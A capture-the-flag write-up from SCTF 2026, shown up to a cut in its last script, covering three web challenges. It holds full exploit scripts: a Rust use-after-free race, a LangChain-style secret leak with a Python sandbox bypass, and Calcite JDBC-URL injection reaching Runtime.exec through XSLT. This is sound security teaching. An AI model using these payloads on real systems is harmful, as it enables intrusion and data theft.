本次 SCTF 2026,我们 XMCVE-Polaris 排名第 6。
| 排名 | 队伍 | 总分 |
|---|---|---|
| 1 | dda_com | 11100 |
| 2 | だから僕はCTFを辞めた | 9164 |
| 3 | 超级无敌暴龙战士 | 8334 |
| 4 | lz雷泽 | 7415 |
| 5 | 0psu3 | 7330 |
| 6 | XMCVE-Polaris | 6819 |
| 7 | W4llz | 6521 |
| 8 | R00tK1t | 6195 |
| 9 | N1STAR | 6132 |
| 10 | 0ops | 6073 |
WEB
Treasury Gateway
题目信息
- 类别: Web
- 分值: 1000pt
- 目标: 获取
TREASURY_RECONCILIATION_TOKEN环境变量中的 flag
题目描述
基础设施团队最引以为傲的自研金融系统 API 网关,经过一些激进的优化策略,实现了亚毫秒延迟与每秒上万次路由决策。每天上午九点半,合规系统生成当日现金头寸对账报告,报告末尾附有一枚 reconciliation token,用于监管审计校验。这套流程跑了数年,从没出过问题。
架构分析
系统组件
系统由两个 Rust 服务组成:
Gateway (端口 8080 → 外部映射 5000)
- API 网关,负责路由决策
- 定期从 Vault 获取合规快照
- 提供
/__route/audit审计端点
Vault (端口 3005,仅内部访问)
- 合规报告服务
/internal/compliance/export-snapshot端点返回包含 flag 的 JSON
数据流
客户端 → Gateway (5000)
├─ /api/* → 代理到 Vault (3005)
├─ /__route/audit → 内部处理
└─ 后台任务:每 1000ms 从 Vault 获取快照
↓
Vault (3005)
↓
/internal/compliance/export-snapshot
返回包含 TREASURY_RECONCILIATION_TOKEN 的 JSON
关键配置
[server]
listen = "0.0.0.0:8080"
request_timeout_ms = 10000
[selector]
snapshot_url = "http://127.0.0.1:3005/internal/compliance/export-snapshot"
refresh_interval_ms = 1000
[[routes]]
name = "api"
kind = "proxy"
path_prefix = "/api"
methods = ["GET", "POST"]
upstreams = ["http://127.0.0.1:3005"]
漏洞发现
关键代码分析
1. SelectorEngine 的内存池优化
gateway/src/selector.rs 实现了一个高性能的内存池系统:
const SCRATCH_CAP: usize = 512;
const NONCE_PREVIEW_BYTES: usize = 4;
type Scratch = Box<[u8; SCRATCH_CAP]>;
type TenantPools = HashMap<String, Vec<Scratch>>;
pub struct SelectorEngine {
pools: Arc<Mutex<TenantPools>>,
}
每个租户维护一个 scratch buffer 池,用于零分配解析 HTTP header。
2. Use-After-Free 漏洞点
defer_trace 方法存在严重的内存安全问题:
pub fn defer_trace(&self, raw_header: &[u8]) -> DeferredTrace {
let tenant_key = tenant_key(raw_header);
let mut scratch = self.checkout(&tenant_key); // 从池中取出
let raw_len = raw_header.len().min(SCRATCH_CAP);
scratch[..raw_len].copy_from_slice(&raw_header[..raw_len]);
let (tenant, path, nonce) = {
let raw = &scratch[..raw_len];
let parsed = unsafe { parse_route_selector(raw, SCRATCH_CAP) };
// ❌ 危险:将局部生命周期提升为 'static
let nonce = unsafe {
std::mem::transmute::<&[u8], &'static [u8]>(parsed.nonce)
};
(parsed.tenant.to_string(), parsed.path.to_string(), nonce)
};
self.checkin(tenant_key, scratch); // ❌ 归还到池,但 nonce 仍指向它
DeferredTrace {
tenant,
path,
nonce, // ❌ 悬垂指针!
}
}
问题:
scratch从池中取出,用于存储 headernonce通过transmute被赋予'static生命周期,但实际指向scratch的内存scratch被归还到池中DeferredTrace持有的nonce成为悬垂指针
3. 竞态条件窗口
route_audit 处理函数:
async fn route_audit(
&self,
request: Request<Incoming>,
) -> Result<Response<ResponseBody>, BoxedError> {
let Some(selector) = request.headers().get("x-route-selector") else {
// ...
};
let trace = self.selector.defer_trace(selector.as_bytes());
// ⚠️ AWAIT 点:控制权交还给 Tokio runtime
request.into_body().collect().await?;
let trace = trace.finish(); // 读取悬垂指针指向的内存
// ...
}
在 .await 期间,其他异步任务可以执行,包括快照获取任务。
4. 快照覆盖机制
后台任务每 1000ms 获取一次快照并覆盖所有 scratch buffer:
fn store_snapshot(&self, body: &[u8]) {
let snapshot = body[..body.len().min(SCRATCH_CAP)].to_vec();
let mut pools = self.pools.lock().expect("selector pool lock poisoned");
for pool in pools.values_mut() {
for scratch in pool.iter_mut() {
scratch.fill(0);
scratch[..snapshot.len()].copy_from_slice(&snapshot); // 覆盖!
}
}
}
快照来自 Vault 的 /internal/compliance/export-snapshot,包含 flag:
{
"portfolio": "northwind-capital",
"report": "daily-cash-reconciliation",
"generated_at": "2026-06-02T09:30:00+08:00",
"positions": [...],
"controls": {...},
"reconciliation_token": "SCTF{...}"
}
漏洞利用链
完整攻击流程
1. 发送 POST /__route/audit
Header: x-route-selector: a:xxx...xxx:
Body: 缓慢发送(每秒 5 个 chunk,持续 5-7 秒)
2. Gateway 处理:
├─ defer_trace() 执行
│ ├─ 从池中取出 scratch buffer
│ ├─ 复制 header 到 scratch
│ ├─ 解析 tenant/path/nonce
│ ├─ transmute nonce 为 'static 生命周期
│ └─ 归还 scratch 到池(nonce 成为悬垂指针)
│
├─ .await 等待 body 收集
│ └─ 控制权交还 Tokio runtime
│
├─ 后台快照任务触发(每 1000ms)
│ └─ store_snapshot() 覆盖所有 scratch buffer
│ └─ 悬垂指针现在指向包含 flag 的快照数据
│
└─ finish() 读取 nonce
└─ 从被覆盖的内存中读取快照数据(flag 字节)
精确控制读取偏移
通过控制 x-route-selector header 的格式,可以精确控制 nonce 在 scratch buffer 中的起始偏移:
Header 格式: tenant:path:nonce
↓ ↓ ↓
偏移: 0 2 nonce_start
示例:读取偏移 402
"a:" + "x" * 399 + ":"
总长度 = 1 + 1 + 399 + 1 = 402
nonce_start = 402
Flag 偏移计算
快照 JSON 中 flag 的起始位置:
{"portfolio":"northwind-capital","report":"daily-cash-reconciliation",
"generated_at":"2026-06-02T09:30:00+08:00","positions":[...],
"controls":{...},"reconciliation_token":"SCTF{...}"}
↑
偏移 402
通过计算,reconciliation_token 值从偏移 402 开始。每次读取 4 字节(NONCE_PREVIEW_BYTES = 4),需要读取偏移:402, 406, 410, 414, … 直到 flag 结束。
完整 PoC
#!/usr/bin/env python3
"""
Treasury Gateway CTF Exploit
利用 SelectorEngine 中的 use-after-free 漏洞泄露 flag
"""
import socket
import time
import json
import sys
TARGET = "1.95.127.162"
PORT = 5000
FLAG_OFFSET = 402 # flag 在快照 JSON 中的起始偏移
SCRATCH_CAP = 512
def exploit_offset(offset, hold_seconds=5):
"""
发送请求并保持连接,让快照任务有机会覆盖 scratch buffer
参数:
offset: 要读取的字节偏移
hold_seconds: 保持连接的时间(秒)
返回:
4 字节的十六进制字符串,或 None
"""
# 构造 selector header,使 nonce 指向目标偏移
# 格式: "a:" + padding + ":"
# nonce_start = len("a:") + len(padding) + len(":") = 2 + padding_len + 1
# 所以 padding_len = offset - 3
padding_len = offset - 3
if padding_len < 0:
padding_len = 0
selector = "a:" + "x" * padding_len + ":"
# 计算 body 大小和发送速率
# 每秒发送 5 个 chunk,每个 chunk 200 字节
chunk_size = 200
chunks_per_second = 5
total_chunks = int(hold_seconds * chunks_per_second)
total_body = chunk_size * total_chunks
# 构造 HTTP 请求
request_headers = (
f"POST /__route/audit HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"x-route-selector: {selector}\r\n"
f"Content-Length: {total_body}\r\n"
f"Connection: close\r\n"
f"\r\n"
)
try:
# 建立 TCP 连接
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(12)
sock.connect((TARGET, PORT))
# 发送 headers
sock.sendall(request_headers.encode())
# 缓慢发送 body,保持 .await 等待状态
# 每 200ms 发送 200 字节,持续 hold_seconds 秒
for i in range(total_chunks):
try:
sock.sendall(b"A" * chunk_size)
time.sleep(0.2) # 200ms 间隔
except:
break
# 读取响应
response = b""
while True:
try:
data = sock.recv(4096)
if not data:
break
response += data
except:
break
sock.close()
# 解析响应 JSON
if b"\r\n\r\n" in response:
body = response.split(b"\r\n\r\n", 1)[1]
try:
data = json.loads(body)
return data.get("nonce_preview_hex", "")
except:
pass
return None
except Exception as e:
return None
def leak_at_offset(offset, max_attempts=5):
"""尝试多次以获取指定偏移的数据"""
for attempt in range(max_attempts):
hex_result = exploit_offset(offset, hold_seconds=5)
if hex_result and hex_result != "00000000":
try:
# 验证是否为可打印字符
decoded = bytes.fromhex(hex_result)
if any(32 <= b < 127 for b in decoded):
return hex_result
except:
pass
print(f" [重试 {attempt + 1}/{max_attempts}]", end="", flush=True)
time.sleep(0.5)
return None
def main():
print("=" * 60)
print("Treasury Gateway CTF Exploit")
print("=" * 60)
print(f"\n[*] 目标: {TARGET}:{PORT}")
print(f"[*] Flag 偏移: {FLAG_OFFSET}")
print(f"[*] Scratch 容量: {SCRATCH_CAP} 字节")
print(f"[*] 每次读取: 4 字节")
print(f"[*] 连接保持: 5 秒(快照任务约触发 5 次)")
print()
# 计算需要读取的偏移范围
# flag 从 402 开始,最多到 512(SCRATCH_CAP)
offsets = list(range(FLAG_OFFSET, SCRATCH_CAP, 4))
print("[*] 开始泄露 flag 字节...\n")
flag_hex = ""
for offset in offsets:
print(f"偏移 {offset:3d}: ", end="", flush=True)
result = leak_at_offset(offset, max_attempts=5)
if result:
decoded = bytes.fromhex(result).decode('ascii', errors='replace')
print(f"{result} → {decoded}")
flag_hex += result
# 检查是否到达 flag 结尾
if '}"' in decoded or ('}' in decoded and '"' in decoded):
print("\n[✓] 检测到 flag 结尾")
break
else:
print("失败")
flag_hex += "00000000"
print("\n" + "=" * 60)
print("结果")
print("=" * 60)
# 解码完整 flag
try:
raw_bytes = bytes.fromhex(flag_hex)
flag = raw_bytes.decode('ascii', errors='replace')
# 清理 null 字节和尾部字符
flag = flag.replace('\x00', '')
flag = flag.rstrip('"')
flag = flag.rstrip('}')
print(f"\n原始数据: {flag}")
# 提取 SCTF{...} 格式
import re
match = re.search(r'SCTF\{[^\}]+', flag)
if match:
print(f"\n🏁 FLAG: {match.group()}}}")
else:
print(f"\n[!] 未找到标准 flag 格式")
except Exception as e:
print(f"\n[!] 解码错误: {e}")
print(f"十六进制: {flag_hex}")
if __name__ == "__main__":
main()
利用结果
============================================================
Treasury Gateway CTF Exploit
============================================================
[*] 目标: 1.95.127.162:5000
[*] Flag 偏移: 402
[*] Scratch 容量: 512 字节
[*] 每次读取: 4 字节
[*] 连接保持: 5 秒(快照任务约触发 5 次)
[*] 开始泄露 flag 字节...
偏移 402: 53435446 → SCTF
偏移 406: 7b756e73 → {uns
偏移 410: 6166655f → afe_
偏移 414: 7a65726f → zero
偏移 418: 5f636f70 → _cop
偏移 422: 795f6865 → y_he
偏移 426: 61646572 → ader
偏移 430: 5f6f7665 → _ove
偏移 434: 72726561 → rrea
偏移 438: 645f7665 → d_ve
偏移 442: 72696669 → rifi
偏移 446: 65647d22 → ed}"
[✓] 检测到 flag 结尾
============================================================
结果
============================================================
原始数据: SCTF{unsafe_zero_copy_header_overread_verified}"
🏁 FLAG: SCTF{unsafe_zero_copy_header_overread_verified}
漏洞原理总结
1. Unsafe Rust 的误用
std::mem::transmute::<&[u8], &'static [u8]> 将局部引用的生命周期强行提升为 'static,绕过了 Rust 的借用检查器,但破坏了内存安全保证。
2. 对象池模式的风险
Scratch buffer 在归还到池后,其内存地址不变,但所有权已转移。悬垂指针仍然指向该内存,形成了 use-after-free。
3. 异步编程的竞态条件
.await 点允许其他任务执行。后台快照任务利用这个窗口覆盖了 scratch buffer,导致悬垂指针读取到敏感数据。
4. 零拷贝优化的代价
为了追求极致性能(零分配、零拷贝),牺牲了内存安全,最终导致信息泄露。
Web Shop
题目信息
- 题目描述:
和bot合伙开店是一种怎样的体验? - 目标地址:
http://101.245.103.157:5049
总体思路
这题的核心不是传统的 bot XSS 打管理员,而是三段式利用链:
- 先通过正常功能拿到
Support Debug Bundle - 再利用
chat metadata的反序列化特性泄露环境变量SHOP_SUPPORT_SEED - 用泄露出的 seed 计算 bot 的 staff code,提权到
support_admin - 最后利用
rules/run这个 Python 沙箱的黑名单绕过,读到隐藏在生成器局部变量中的 flag
最终 flag:
SCTF{human_cas3_the_m@in_pr0blem_not_bot}
信息收集
先看首页和 openapi.json。
可以发现这是一个 FastAPI 应用,接口包括:
/api/auth/register
/api/auth/login
/api/auth/me
/api/shop/products
/api/shop/buy
/api/shop/download/support-ticket
/api/woodfish/knock
/api/chat/messages
/api/chat/presence
/api/louvre/generate
/api/rules/run
/api/bot/chat
前端 JS 里有几个关键点:
1. 公共聊天是 dangerouslySetInnerHTML
前端会把聊天内容直接当 HTML 渲染:
dangerouslySetInnerHTML:{__html:e.content}
说明存在存储型 XSS 面,但这条线并不是本题最直接的解法。
2. 聊天和 presence 都会带 metadata
前端发送聊天和心跳时会带上结构化的 metadata:
metadata: {
source: "...",
client: "web-shop",
ts: ...,
messages: [...]
}
而且 messages 内部是 LangChain 风格的序列化对象,这个点非常关键。
3. bot 支持 /login <staff-code>
bot 的 /help 返回:
/help
/profile
/order_status <id>
/config <json>
/login <staff-code>
说明可以通过某种 staff code 提权。
第一步:买到 Support Debug Bundle
新用户初始有 50 金币,商品列表里:
测试商品50 金币Support Debug Bundle60 金币神秘礼盒999999 金币
所以要先通过 woodfish 挣 10 金币。
接口:
POST /api/woodfish/knock
每次加 1 金币,敲到第 10 次木鱼会坏掉,刚好够买 Support Debug Bundle。
买下 Support Debug Bundle 后可以下载 support_ticket.py,其内容本质如下:
from __future__ import annotations
import hashlib
import hmac
import os
import secrets
from datetime import datetime, timezone
from typing import Any
SUPPORT_SEED_ENV = "SHOP_SUPPORT_SEED"
def issue_support_ticket(user: dict[str, Any]) -> str:
seed = os.environ.get(SUPPORT_SEED_ENV, "local-support-seed")
today = datetime.now(timezone.utc).strftime("%Y%m%d")
message = f"support-login:{user['id']}:{user['username']}:{today}"
digest = hmac.new(seed.encode(), message.encode(), hashlib.sha256).hexdigest()
return digest[:12]
def verify_support_ticket(user: dict[str, Any], provided: str) -> bool:
expected = issue_support_ticket(user)
return secrets.compare_digest(provided, expected)
这说明 /login 需要的 staff code 计算公式是:
HMAC_SHA256(seed, f"support-login:{uid}:{username}:{YYYYMMDD_UTC}")[:12]
但我们还不知道 SHOP_SUPPORT_SEED。
第二步:利用 chat metadata 泄露 SHOP_SUPPORT_SEED
原理
/api/chat/messages 提交的 metadata 不只是普通 JSON,它会被后端按 LangChain 风格对象处理。
如果在 metadata 里塞入:
{
"lc": 1,
"type": "secret",
"id": ["SHOP_SUPPORT_SEED"]
}
服务端在存储/回显时会把它解析成环境变量的实际值。
也就是说,我们可以直接向聊天接口写一条消息,然后从聊天记录把 seed 读回来。
验证 payload
发消息:
{
"content": "probe",
"metadata": {
"source": "chat-sync",
"client": "web-shop",
"ts": 1234567890,
"probe": {
"lc": 1,
"type": "secret",
"id": ["SHOP_SUPPORT_SEED"]
},
"messages": [
{
"type": "text",
"content": "hello"
}
]
}
}
再读取聊天记录时可以看到:
"probe": "sdjksdjksj_seedd_222"
于是得到:
SHOP_SUPPORT_SEED = sdjksdjksj_seedd_222
第三步:计算 staff code 并提权为 support_admin
有了 seed 后,按照 support_ticket.py 的逻辑计算即可。
例如某个用户:
id = 75username = bbb222- 日期使用
UTC当天,例如20260614
则待签名字符串为:
support-login:75:bbb222:20260614
然后:
code = hmac.new(seed.encode(), msg.encode(), hashlib.sha256).hexdigest()[:12]
把算出来的 code 发给 bot:
/login c4b4df024454
服务端返回:
登录成功,已激活 support_admin 权限。
此时 /api/auth/me 中的角色已经变成:
support_admin
同时 bot 的 /help 会新增:
/whoami
/rulelab
并且现在可以使用:
POST /api/rules/run
第四步:分析 rules/run 沙箱
1. 这是黑名单 AST 沙箱
直接试探可以发现:
import被禁lambda被禁class被禁globals/locals/vars/open/eval/getattr/setattr等名字被禁__globals__、__class__、gi_frame、f_globals等属性被禁
但它不是 capability sandbox,而是典型的“语法/字符串黑名单”。
2. 可以通过字符串拼接绕过敏感字段检测
例如下面的表达式会被允许:
s = "{0." + "__glo" + "bals__}"
result = s.format(iter_preview_items)
虽然源码里有 __globals__ 黑名单,但因为是运行时拼出来的,静态检查挡不住。
同理也可以绕过:
gi_framef_localsf_globals__closure__
3. 可以读取 iter_preview_items.__globals__
通过:
s = "{0." + "__glo" + "bals__[os].environ}"
result = s.format(iter_preview_items)
可以直接读到环境变量,进一步确认:
FLAG_PATH=/app/private/flag.txt
SHIPMENT_PREVIEW_FILE=/app/private/flag.txt
这已经非常接近 flag 了。
4. iter_preview_items() 的生成器局部变量里直接有 flag
继续对生成器 frame 做读取:
g = iter_preview_items()
next(g)
a = "gi_" + "frame"
b = "f_" + "locals"
s = "{0." + a + "." + b + "}"
result = s.format(g)
返回结果里直接出现:
{
'shipment_manifest': 'SCTF{human_cas3_the_m@in_pr0blem_not_bot}',
...
}
也就是说,iter_preview_items() 在第一次迭代时就把私有发货预览文件读到了局部变量 shipment_manifest,而我们利用 str.format() 绕过黑名单后,直接把它从 frame locals 中抠出来了。
所以最终 flag 就是:
SCTF{human_cas3_the_m@in_pr0blem_not_bot}
完整利用脚本
下面给出一份从注册到拿 flag 的完整 exp,全部内联,不依赖任何外部文件。
import json
import hmac
import hashlib
import time
import urllib.request
import urllib.error
from datetime import datetime, timezone
BASE = "http://101.245.103.157:5049"
def http_get(path, token=None):
headers = {
"Origin": BASE,
"Referer": BASE + "/",
}
if token:
headers["Authorization"] = "Bearer " + token
req = urllib.request.Request(BASE + path, headers=headers, method="GET")
try:
with urllib.request.urlopen(req, timeout=15) as resp:
data = resp.read()
ctype = resp.headers.get("Content-Type", "")
if "application/json" in ctype:
return resp.status, json.loads(data.decode())
return resp.status, data.decode(errors="replace")
except urllib.error.HTTPError as e:
data = e.read()
try:
return e.code, json.loads(data.decode())
except Exception:
return e.code, data.decode(errors="replace")
def http_post(path, data, token=None):
headers = {
"Content-Type": "application/json",
"Origin": BASE,
"Referer": BASE + "/",
}
if token:
headers["Authorization"] = "Bearer " + token
body = json.dumps(data).encode()
req = urllib.request.Request(BASE + path, data=body, headers=headers, method="POST")
try:
with urllib.request.urlopen(req, timeout=15) as resp:
return resp.status, json.loads(resp.read().decode())
except urllib.error.HTTPError as e:
return e.code, json.loads(e.read().decode())
def register_or_login(username, password):
status, data = http_post("/api/auth/register", {
"username": username,
"password": password,
"confirmPassword": password,
})
if status == 200:
return data["token"], data["user"]
status, data = http_post("/api/auth/login", {
"username": username,
"password": password,
})
if status != 200:
raise RuntimeError(f"login failed: {status} {data}")
return data["token"], data["user"]
def earn_60_coins(token):
status, me = http_get("/api/auth/me", token)
coins = me["user"]["coins"]
while coins < 60:
status, data = http_post("/api/woodfish/knock", {}, token)
if status != 200:
raise RuntimeError(f"woodfish failed: {status} {data}")
coins = data["user"]["coins"]
if data.get("broken") and coins < 60:
raise RuntimeError("woodfish broke before reaching 60 coins")
return coins
def buy_support_bundle(token):
status, data = http_post("/api/shop/buy", {"productId": 2}, token)
if status != 200:
raise RuntimeError(f"buy bundle failed: {status} {data}")
return data
def leak_support_seed(token):
payload = {
"content": "seed-probe-" + str(int(time.time())),
"metadata": {
"source": "chat-sync",
"client": "web-shop",
"ts": int(time.time() * 1000),
"probe": {
"lc": 1,
"type": "secret",
"id": ["SHOP_SUPPORT_SEED"],
},
"messages": [
{
"type": "text",
"content": "hello",
}
],
},
}
status, data = http_post("/api/chat/messages", payload, token)
if status != 200:
raise RuntimeError(f"post message failed: {status} {data}")
status, data = http_get("/api/chat/messages", token)
if status != 200:
raise RuntimeError(f"get messages failed: {status} {data}")
seed = data["messages"][-1]["metadata"]["probe"]
if not seed:
raise RuntimeError("seed leak failed")
return seed
def calc_staff_code(seed, user_id, username):
today = datetime.now(timezone.utc).strftime("%Y%m%d")
msg = f"support-login:{user_id}:{username}:{today}"
return hmac.new(seed.encode(), msg.encode(), hashlib.sha256).hexdigest()[:12]
def bot_login_staff(token, code):
status, data = http_post("/api/bot/chat", {
"message": "/login " + code
}, token)
if status != 200:
raise RuntimeError(f"bot login failed: {status} {data}")
return data
def leak_flag_from_rule_sandbox(token):
code = r'''
g = iter_preview_items()
next(g)
a = "gi_" + "frame"
b = "f_" + "locals"
s = "{0." + a + "." + b + "}"
result = s.format(g)
'''
status, data = http_post("/api/rules/run", {"code": code}, token)
if status != 200:
raise RuntimeError(f"rules/run failed: {status} {data}")
if not data.get("ok"):
raise RuntimeError(f"rule error: {data}")
text = data["result"]
marker = "SCTF{"
start = text.find(marker)
if start == -1:
raise RuntimeError("flag marker not found")
end = text.find("}", start)
if end == -1:
raise RuntimeError("flag end not found")
return text[start:end + 1]
def main():
username = "wpuser01"
password = "Wp!234567890"
print("[*] register/login")
token, user = register_or_login(username, password)
print("[+] token =", token)
print("[+] user =", user)
print("[*] earn coins")
coins = earn_60_coins(token)
print("[+] coins =", coins)
print("[*] buy Support Debug Bundle")
buy_support_bundle(token)
print("[+] bundle purchased")
print("[*] leak SHOP_SUPPORT_SEED")
seed = leak_support_seed(token)
print("[+] seed =", seed)
print("[*] calc staff code")
code = calc_staff_code(seed, user["id"], user["username"])
print("[+] staff code =", code)
print("[*] bot /login")
data = bot_login_staff(token, code)
print("[+] bot reply =", data["reply"])
print("[*] leak flag from rules sandbox")
flag = leak_flag_from_rule_sandbox(token)
print("[+] flag =", flag)
if __name__ == "__main__":
main()
漏洞总结
这题实际串了三个问题:
1. 不安全的 metadata 反序列化
chat metadata 支持 LangChain 风格对象,且 secret 类型能从环境变量取值,最终导致 SHOP_SUPPORT_SEED 泄露。
2. staff code 设计过于依赖单个环境密钥
拿到 SHOP_SUPPORT_SEED 后,就能离线计算任意用户当天的 staff code,直接完成权限提升。
3. Python 沙箱采用黑名单,且字符串黑名单可被运行时拼接绕过
虽然禁用了:
__globals__gi_framef_locals
但只要写成:
"__glo" + "bals__"
"gi_" + "frame"
"f_" + "locals"
再通过 str.format() 做属性访问,就能绕过静态检查,最终读取生成器 frame 的局部变量,拿到 flag。
最终答案
SCTF{human_cas3_the_m@in_pr0blem_not_bot}
great-sql
0x01 题目分析
附件是一个基于 Apache Calcite Avatica 的 Java Web 服务。
程序启动后对外提供一个 HTTP 接口,只接受 POST,并且每个 JSON 请求被限制为 280 字节。
核心逻辑在自定义的 ConfigurableJdbcMeta:
protected Connection createConnection(String id, Properties info) throws SQLException {
Properties copy = new Properties();
copy.putAll(info);
String backendUrl = removeBackendUrl(copy);
if (backendUrl == null) {
throw new SQLException("Missing backend JDBC URL property: jdbcUrl");
}
return super.createConnection(backendUrl, copy);
}
也就是说,客户端发来的:
{
"request":"openConnection",
"connectionId":"xxx",
"info":{"jdbcUrl":"..."}
}
里的 info.jdbcUrl 会被服务端直接当成 后端 JDBC URL 使用。
这就是整个题的入口:
客户端可控 JDBC URL → 服务端用该 URL 建立 JDBC 连接。
0x02 漏洞本质
题目启动时显式加载了:
Class.forName("org.apache.calcite.jdbc.Driver");
说明服务端 classpath 里已经有 Calcite JDBC 驱动。
因此我们可以把 jdbcUrl 设为:
jdbc:calcite:model=inline:...
也就是 Calcite inline model。
Calcite 的 model 支持注册 Java 类中的静态方法为 SQL 函数,例如:
version: 1
schemas:
- name: s
functions:
- className: java.lang.System
methodName: "*"
这样,在 SQL 里就可以直接调用:
select s.setProperty(...)
select s.getProperty(...)
换句话说,这题不是传统 Web 漏洞,而是:
Avatica 协议层的 JDBC URL 注入,最终变成了 Calcite SQL 层对任意 classpath 中静态方法的调用。
0x03 环境与目标
Dockerfile 里有两个关键点:
1. flag 不可直接读
COPY bin/flag /flag
chmod 400 /flag
服务进程是低权限用户 greatsql 启动的,不能直接读 /flag。
2. 但是存在 SUID 程序 /readflag
COPY /readflag /readflag
chmod 4555 /readflag
/readflag 的逻辑很简单,就是以 root 权限打开 /flag 并输出内容。
所以最终目标就明确了:
想办法在 Java 进程里执行 /readflag,然后把结果带回客户端。
0x04 Avatica 协议交互方式
打这个服务只需要三种请求:
1. openConnection
创建连接,并传入可控的 jdbcUrl
2. createStatement
创建 SQL statement
3. prepareAndExecute
执行 SQL
最小利用流程就是:
openConnection -> createStatement -> prepareAndExecute
0x05 利用思路
Step 1:利用 inline model 注册 java.lang.System
先注册 System 类:
version: 1
schemas: [{name: s,functions: [{className: java.lang.System,methodName: "*"}]}]
这样我们就能在 SQL 中调用:
select s.setProperty(...)
select s.getProperty(...)
这一步非常关键,因为题目有 280 字节 JSON 长度限制,不能直接一次性把完整恶意 XSLT 塞进去。
所以需要先把长字符串拆成多段,分别写进 System 的属性表里,再在后续 SQL 里拼接。
Step 2:利用 XmlFunctions.xmlTransform 执行 XSLT
Calcite 自带一个可注册的静态方法:
org.apache.calcite.runtime.XmlFunctions.xmlTransform
它本质上会对输入 XML 应用一段 XSLT。
如果能控制 XSLT,那么就有可能借助 Java/Xalan 的扩展机制执行 Java 方法。
先注册:
version: 1
schemas: [{name: s,functions: [
{className: java.lang.System,methodName: "*"},
{className: org.apache.calcite.runtime.XmlFunctions,methodName: xmlTransform}
]}]
然后在 SQL 中调用:
select s.xmlTransform('<a/>', xslt_payload)
Step 3:开启 Xalan Java extension
默认情况下,JDK 的 XSLT 扩展函数通常是禁用的。
需要先设置系统属性:
select s.setProperty('jdk.xml.enableExtensionFunctions','true')
这样后续的 XSLT 就可以通过 xalan:// 调用 Java 类。
Step 4:构造 XSLT,调用 Runtime.exec
恶意 XSLT 如下:
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:r="xalan://java.lang.Runtime"
version="1">
<template match="/">
<value-of select="r:exec(r:getRuntime(),'sh -c /readflag>/tmp/o')"/>
</template>
</stylesheet>
这里做了两件事:
- 通过
r:getRuntime()获取Runtime实例 - 通过
r:exec(...)执行命令
命令不是直接 /readflag,而是:
sh -c /readflag>/tmp/o
原因是:
Runtime.exec的返回值是Process,并不会自动把 stdout 返回给 SQL- 所以最稳妥的办法是把
/readflag的输出重定向到一个文件,例如/tmp/o
Step 5:把文件内容读回客户端
Calcite/Avatica 的 classpath 里还有一个很好用的类:
org.apache.calcite.avatica.util.Base64
它有静态方法:
encodeFromFile(path)
因此再注册一次这个类:
version: 1
schemas: [{name: s,functions: [
{className: org.apache.calcite.avatica.util.Base64,methodName: "*"}
]}]
然后执行:
select s.encodeFromFile('/tmp/o')
这会返回文件内容的 Base64。
客户端再解码即可得到 flag。
0x06 为什么要分块写 XSLT
因为服务端限制:
- JSON 字符长度 ≤ 280
- UTF-8 字节长度 ≤ 280
而 Avatica 请求本身还要包含:
requeststatementIdsqlmaxRowsInFirstFrame
所以完整的 XSLT 绝对放不进单个请求。
解决方式是:
先分块写入属性
例如:
select s.setProperty('a','<stylesheet ... 第一段 ...')
select s.setProperty('b','第二段 ... </stylesheet>')
再拼起来触发
select s.xmlTransform('<a/>', s.getProperty('a') || s.getProperty('b'))
这样每个单独请求都能控制在 280 字节以内。
0x07 完整利用链
整体链路如下:
客户端可控 openConnection.info.jdbcUrl
→ 服务端使用该值建立 JDBC 连接
→ 使用 jdbc:calcite:model=inline:...
→ 注册 java.lang.System 为 SQL 函数
→ 设置 jdk.xml.enableExtensionFunctions=true
→ 分块写入恶意 XSLT 到 System properties
→ 注册 XmlFunctions.xmlTransform
→ 触发 XSLT,调用 Runtime.exec("sh -c /readflag>/tmp/o")
→ 注册 Base64 工具类
→ 调用 encodeFromFile('/tmp/o')
→ Base64 解码得到 flag
0x08 关键 payload
1. 注册 System
version: 1
schemas: [{name: s,functions: [{className: java.lang.System,methodName: "*"}]}]
2. 开启扩展函数
select s.setProperty('jdk.xml.enableExtensionFunctions','true')
3. 恶意 XSLT
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:r="xalan://java.lang.Runtime" version="1">
<template match="/"><value-of select="r:exec(r:getRuntime(),'sh -c /readflag>/tmp/o')"/></template>
</stylesheet>
4. 触发执行
select s.xmlTransform('<a/>', s.getProperty('a') || s.getProperty('b'))
5. 读取结果
select s.encodeFromFile('/tmp/o')
0x09 EXP
我最终使用的 exp 如下,能够直接对题目服务打通整条链:
完整脚本:greatsql_exp.py
核心代码如下:
#!/usr/bin/env python3
import base64
import json
import random
import string
import sys
import time
import requests
def enc(obj):
return json.dumps(obj, separators=(",", ":"))
def sql_string(s: str) -> str:
return "'" + s.replace("'", "''") + "'"
def rand_cid(prefix: str) -> str:
return prefix + random.choice(string.ascii_letters)
class Avatica:
def __init__(self, base_url):
self.url = base_url.rstrip("/") + "/"
self.session = requests.Session()
def post(self, obj, quiet=False):
data = enc(obj)
r = self.session.post(self.url, data=data, headers={"Content-Type": "application/json"}, timeout=10)
if not quiet:
print(f"[>] {data}")
print(f"[<] {r.status_code} {r.text[:220]}")
return r.json()
def open_calcite(self, cid, model):
return self.post({
"request": "openConnection",
"connectionId": cid,
"info": {"jdbcUrl": "jdbc:calcite:model=inline:" + model},
})
def stmt(self, cid):
return self.post({"request": "createStatement", "connectionId": cid})["statementId"]
def q(self, sid, sql, quiet=False):
return self.post({
"request": "prepareAndExecute",
"statementId": sid,
"sql": sql,
"maxRowsInFirstFrame": 1,
}, quiet=quiet)
def main():
target = sys.argv[1]
out_file = "/tmp/o"
a = Avatica(target)
cid = rand_cid("s")
sys_model = 'version: 1\nschemas: [{name: s,functions: [{className: java.lang.System,methodName: "*"}]}]'
a.open_calcite(cid, sys_model)
sid = a.stmt(cid)
a.q(sid, "select s.setProperty('jdk.xml.enableExtensionFunctions','true')")
cmd = f"sh -c /readflag>{out_file}"
xslt = (
'<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" '
'xmlns:r="xalan://java.lang.Runtime" version="1">'
'<template match="/"><value-of select="r:exec(r:getRuntime(),\''
+ cmd +
'\')"/></template></stylesheet>'
)
chunks = [xslt[i:i + 150] for i in range(0, len(xslt), 150)]
for i, chunk in enumerate(chunks):
key = chr(ord("a") + i)
a.q(sid, f"select s.setProperty('{key}',{sql_string(chunk)})")
cid = rand_cid("x")
xml_model = (
'version: 1\nschemas: [{name: s,functions: ['
